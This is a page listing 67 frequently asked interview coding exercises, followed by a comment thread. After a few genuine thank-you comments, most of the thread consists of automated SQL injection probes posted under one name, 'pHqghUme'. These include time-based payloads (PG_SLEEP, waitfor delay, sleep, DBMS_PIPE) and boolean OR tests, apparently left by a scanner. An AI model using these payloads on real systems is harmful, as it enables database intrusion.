Top Programming Questions Asked In Interviews
Frequently Asked Programs in Interviews & Coding Rounds : This section focuses on frequently asked programs in programming interviews and coding rounds. These programs should be practiced to improve the coding skills required for various interviews (campus interviews, walk-in interviews), coding rounds etc.
Here for each program you will find solutions in six programming languages : C, C++, Java, Python, C#, PHP with explanation and examples that will help you to understand programs clearly. You will also find algorithms or flowcharts in each program.
List of the most important and commonly asked programs in interviews & coding rounds :-
1. Program to check whether the number is even or odd.
2. Program to check whether the given number is prime number or not.
3. Program to check whether the given year is leap year or not.
4. Program to count the number of digits in a number.
5. Program to find sum of digits of a given number.
6. Program to swap two numbers without using temporary variable.
7. Program to print fibonacci series.
8. Program to check whether a character is vowel or consonant.
9. Program to find GCD of two numbers.
10. Program to find LCM of two numbers.
11. Program to find perfect number.
12. Program to find whether a number is power of two or not.
13. Program to find factorial of a number.
14. Program to check armstrong number.
15. Program to make a simple calculator.
16. Program to find length of a string.
17. Program to check whether the two strings are anagram of each other or not.
18. Program to check whether the string is substring of given string or not.
19. Program to check whether the given number is palindrome or not.
20. Program to check whether the given string is pangram or not.
21. Program to reverse a string.
22. Program to count occurrences of a given character in a string.
23. Program to sort the characters in a given string.
24. Program to print all permutations of a given string.
25. Program to find sum of array elements.
26. Program to find pairs with given sum in an array.
27. Program to print all distinct elements of a given integer array.
28. Program to delete duplicate elements from array.
29. Program to find smallest element in an array.
30. Program to find largest element in an array.
31. Program to search element in array using binary search algorithm.
32. Program to sort array elements in ascending order using bubble sort.
33. Program to sort array elements in descending order using bubble sort.
34. Program to sort array elements in ascending order using selection sort algorithm.
35. Program to sort array elements in descending order using selection sort algorithm.
36. Program to sort array elements in ascending order using Insertion Sort.
37. Program to sort array elements in descending order using Insertion Sort.
38. Program to add two matrices.
39. Program to subtract two matrices.
40. Program to multiply two matrices.
41. Program to print floyds triangle.
42. Program to print full pyramid pattern using stars.
43. Program to print half pyramid pattern using stars.
44. Program to print half inverted pyramid pattern using stars.
45. Program to print lower triangular elements of an array.
46. Program to print upper triangular elements of an array.
47. Program to concatenate two string without using library function.
48. Program to convert number from decimal to binary number.
49. Program to count total number of vowels and consonants in a string.
50. Program for Left array rotation.
51. Program to check whether a number is positive or negative.
52. Program to find greatest of three numbers.
53. Program to print pascal's triangle.
54. Program to find square root of a number.
55. Program to check automorphic number.
56. Program to check abundant number.
57. Program To check friendly pair.
58. Program to check strong number.
59. Program to find square root of a number.
60. Program to find the missing number in array.
61. Program to check harshad (or niven) number.
62. Program to print the numbers divisible by 5 or 7.
63. Program to print multiplication table of a number.
64. Program to remove all occurrences of a character in a string.
65. Program for product of 2 numbers using recursion.
66. Program to check if a given number is a power of three or not..
67. Program to find the frequency of each element in an array.
Discussion
Aman Jain
Very Helpful Programs
Kartik sharma
I like the way the solution has been given. The program helped me crack the interview. You guys doing a great job. Keep it up.
Nasreen Laskar
Quite helpful. Best thing is that solutions are given in various languages. Very helpful for one preparing for job interviews.
pHqghUme
555CF1am6aW') OR 573=(SELECT 573 FROM PG_SLEEP(15))--
pHqghUme
555E7FI4vvg' OR 853=(SELECT 853 FROM PG_SLEEP(15))--
pHqghUme
555-1)) OR 390=(SELECT 390 FROM PG_SLEEP(15))--
pHqghUme
555-1) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
pHqghUme
555-1 OR 300=(SELECT 300 FROM PG_SLEEP(15))--
pHqghUme
555uvbPlycX'; waitfor delay '0:0:15' --
pHqghUme
555-1 waitfor delay '0:0:15' --
pHqghUme
555-1); waitfor delay '0:0:15' --
pHqghUme
555-1; waitfor delay '0:0:15' --
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
-1" OR 3*2>(0+5+107-107) --
pHqghUme
-1" OR 3*2<(0+5+107-107) --
pHqghUme
-1" OR 3+107-107-1=0+0+0+1 --
pHqghUme
-1" OR 2+107-107-1=0+0+0+1 --
pHqghUme
-1' OR 3*2>(0+5+99-99) or '6upmNNpd'='
pHqghUme
-1' OR 3*2<(0+5+99-99) or '6upmNNpd'='
pHqghUme
-1' OR 3+99-99-1=0+0+0+1 or '6upmNNpd'='
pHqghUme
-1' OR 2+99-99-1=0+0+0+1 or '6upmNNpd'='
pHqghUme
-1' OR 3*2>(0+5+723-723) --
pHqghUme
-1' OR 3*2<(0+5+723-723) --
pHqghUme
-1' OR 3+723-723-1=0+0+0+1 --
pHqghUme
-1' OR 2+723-723-1=0+0+0+1 --
pHqghUme
-1 OR 3*2>(0+5+681-681)
pHqghUme
-1 OR 3*2<(0+5+681-681)
pHqghUme
-1 OR 3+681-681-1=0+0+0+1
pHqghUme
-1 OR 2+681-681-1=0+0+0+1
pHqghUme
-1 OR 3*2>(0+5+270-270) --
pHqghUme
-1 OR 3*2<(0+5+270-270) --
pHqghUme
-1 OR 3+270-270-1=0+0+0+1 --
pHqghUme
-1 OR 2+270-270-1=0+0+0+1 --
pHqghUme
555
pHqghUme
55555T3VcQp')) OR 638=(SELECT 638 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
555'"
pHqghUme
pHqghUme
@@klO7T
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
555
pHqghUme
555